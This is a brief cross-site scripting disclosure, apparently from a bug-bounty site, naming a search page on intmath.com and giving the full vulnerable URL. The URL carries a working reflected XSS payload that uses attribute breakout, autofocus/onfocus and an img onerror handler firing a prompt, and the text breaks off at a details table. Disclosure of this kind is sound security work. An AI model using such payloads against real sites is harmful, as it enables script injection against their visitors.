intmath.com XSS vulnerability

Vulnerable URL: http://www.intmath.com/help/search-g.php?cof=FORID%3A9=partner-pub-2127235491321065%3A5426004799=UTF-8=a%27aa%22onfocus=prompt/OPENBUGBOUNTY/%20autofocus=x%20bad=--%3E%3C/title%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E= Details: Description| Value ---|---...